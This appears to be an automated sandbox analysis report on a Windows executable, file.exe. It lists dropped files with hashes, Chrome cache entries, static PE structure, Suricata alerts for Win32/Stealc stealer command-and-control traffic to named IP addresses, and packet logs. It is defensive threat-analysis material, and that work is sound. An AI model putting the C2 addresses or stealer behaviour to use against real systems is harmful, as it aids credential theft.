Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1908224
Entropy (8bit):	7.9456851567698505
Encrypted:	false
SSDEEP:	49152:Kpe2Nf+D/CmuxmmCTHmn0sPx6rvwEyw1lkpR4Yk4Pbdt50O:R21ya98mYUPoroVslWuLebdb
MD5:	873F4FF6922F79ACA237323377183153
SHA1:	C0E782AB9058AFB71626FAE94FDD996CBEDA934A
SHA-256:	BAFD70CDB59A7B667840982897D95DCBB9FCF86BDE1267AACC5F7B8DCDBA0271
SHA-512:	7FA1C35440711D5F2AC374678BA37B485E73E9E592EA1592268DB5420B35C374595B79050CED86CBED22FFE9BFB94A5799527A0E375DB37F2A186C911F1C10E8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0K...........@..........................`K......a....@.................................W...k.......H................... .K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .p*.........................@...cimbrsfq..... 1.....................@...tyuvqqsb..... K.....................@....taggant.0...0K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsFIJKEHJJDA.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.3587066239875325
Encrypted:	false
SSDEEP:	6:81YoL1UEZ+lX1CGdKUe6tkHs+Zgty0lBwI1:0YoBQ1CGAFBZgtVBwI1
MD5:	EFAFA9FBDC6077487C3384479A1FD97C
SHA1:	6F693D14A255B167FD194CFE0A5BF8A411ECD51E
SHA-256:	00F8FEEC2A1B2BB57544057B5D78E643016456A70C9B3B1D33D966E5C33836C3
SHA-512:	C37F8E37E349D1C59E8F76B69E9ECEBE1320E8138DEBAD48411F3FB52098BE782ED32E41CFAB9FC594942A8442B5467B6A9F4530D572470D9A767887068BB76E
Malicious:	false
Preview:	..........B.;t.6.8.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0.................;.............................

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (781)
Category:	downloaded
Size (bytes):	786
Entropy (8bit):	5.159762468615608
Encrypted:	false
SSDEEP:	24:5RwDGFJ1MBHslgT9lCuABuoB7HHHHHHHYqmffffffo:gaTGKlgZ01BuSEqmffffffo
MD5:	29B55CD06F4F331CC7F756B6A73C7A79
SHA1:	D6E002D6E82E8A1041A39E32B26252DEA8FC64E8
SHA-256:	8F1CC8E607F6C041D6C75E21B3604E1E852B99BE15261B65942F331FF18B536D
SHA-512:	E5592C1522CD64039CE9FDFF0B4E59860FCB892FDCF7581CF24EF9788CBE1A3FCD5B8DCFA3155E23C614C8DABE84131FF8092DDBDA085D7E4462E5CCE8307F55
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["spotify wrapped 2024","carnegie mellon university free tuition","mlb cy young award winners","vintage broncos ford lawsuit","game awards nominees","pope francis carlo acutis","hyundai ioniq 9 electric suv","luma island steam"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132989
Entropy (8bit):	5.435418135980579
Encrypted:	false
SSDEEP:	3072:fmkXyPqO7UX1Hme9kZbs4Voc5RSnXqwQ2i6o:fZyWFHrp4Voc5RSnawQ8o
MD5:	48228ADB36C91402172AC74A4C4FE8A0
SHA1:	BB71F12BD21D4540CC308E89BF155496B7BF2176
SHA-256:	E8BF09E41811C6B90024FFB639890F04C1FB12CB3BEA224C6E77AA3E731856D7
SHA-512:	8C7AE4F6A6B07BFFCF61EA78E31038AE7BCEAF66063CB3206DF4003AB4CDE65AE4DA32CA13F5BB378103E5F39698F2A9FCA20FC04962035E0DC0BAC130909055
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946835635167731
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'823'232 bytes
MD5:	81380b3f4700458353f68405ba69f471
SHA1:	2c51c11246200de63ac0121df7fc94545f0aef38
SHA256:	5b039e26817ac3dde3340af44180e943e7823936cb537342e8a818e5d8705908
SHA512:	a59cd918a59a2aef818e2974579026a1ab344bfe658e23954550b6c2d44df2285d5365cd60d4086c60d4234ed8616546826d9ed66634150f0d4fde8702e0ff3f
SSDEEP:	24576:8KiYYsFZEkLMfHBj9SckDSBaCJcHl7XSPCtLP13h65igzXV0v5qrUKzuThUaU3SR:8HYYVk8j9LkDfrnhy7Wv5GBzEhmiDd
TLSH:	4685335527897320E34F2473B8C60FF4D791668E6B2C4A572E67816A8F0B3A37D6F450
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF8A0D4FD0Ah
cmpxchg byte ptr [ebx], bl
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	18e14903f8c8aa08364f6c05cc2f9d93	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	0da72265d18659fcf7c4dea4b6558317	False	0.5859375	data	4.523520560834751	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b1000	0x200	6716c742e8f93d947e06337fb340b7c4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hiyxmwfd	0x4fd000	0x1a4000	0x1a3200	47ca3bc3026177700d1189600a9e55c2	False	0.994977096070683	data	7.955141315017835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
olcygkgk	0x6a1000	0x1000	0x600	a04fe5c5b02371532a8eb3f0ee2ffe06	False	0.6048177083333334	data	5.150854863085663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a2000	0x3000	0x2200	09e4be9bf2fc6dc2eb34ce14461a4a4e	False	0.05893841911764706	DOS executable (COM)	0.8196754779297423	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69ffe8	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-21T19:58:17.259206+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-21T19:58:17.733637+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-21T19:58:17.856079+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.8	49704	TCP
2024-11-21T19:58:18.181071+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-21T19:58:18.322027+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.8	49704	TCP
2024-11-21T19:58:19.628410+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-21T19:58:20.433311+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-21T19:58:43.488983+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-21T19:58:45.612020+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-21T19:58:47.002698+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-21T19:58:48.201431+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-21T19:58:52.009401+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-21T19:58:53.135215+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-21T19:58:59.508721+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49831	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 19:58:06.545347929 CET	49673	443	192.168.2.8	23.206.229.226
Nov 21, 2024 19:58:06.982817888 CET	49672	443	192.168.2.8	23.206.229.226
Nov 21, 2024 19:58:11.373419046 CET	49676	443	192.168.2.8	52.182.143.211
Nov 21, 2024 19:58:13.998378038 CET	49677	80	192.168.2.8	192.229.211.108
Nov 21, 2024 19:58:15.267523050 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:15.392479897 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:15.392630100 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:15.392899036 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:15.541964054 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:16.154661894 CET	49673	443	192.168.2.8	23.206.229.226
Nov 21, 2024 19:58:16.592195988 CET	49672	443	192.168.2.8	23.206.229.226
Nov 21, 2024 19:58:16.793535948 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:16.793615103 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:16.802175045 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:16.921623945 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:17.259085894 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:17.259206057 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:17.260440111 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:17.407741070 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:17.733498096 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:17.733583927 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:17.733637094 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:17.733684063 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:17.735291958 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:17.856079102 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.180916071 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.180927992 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.181040049 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.181071043 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:18.181106091 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.181121111 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.181121111 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:18.181134939 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.181154013 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:18.181207895 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:18.181207895 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:18.191566944 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.191689014 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:18.202574015 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:18.322026968 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.647478104 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.647542000 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:18.665921926 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:18.665956974 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:18.787651062 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.787698030 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.787748098 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.787794113 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.787976027 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.788033009 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:18.988181114 CET	443	49703	23.206.229.226	192.168.2.8
Nov 21, 2024 19:58:18.988379955 CET	49703	443	192.168.2.8	23.206.229.226
Nov 21, 2024 19:58:19.628138065 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:19.628410101 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:19.986593962 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.106693029 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.433075905 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.433094025 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.433310986 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.436161041 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.436227083 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.436264038 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.436316967 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.446662903 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.446734905 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.446743011 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.446794987 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.457115889 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.457176924 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.457268000 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.457315922 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.467581034 CET	80	49704	185.215.113.206	192.168.2.8
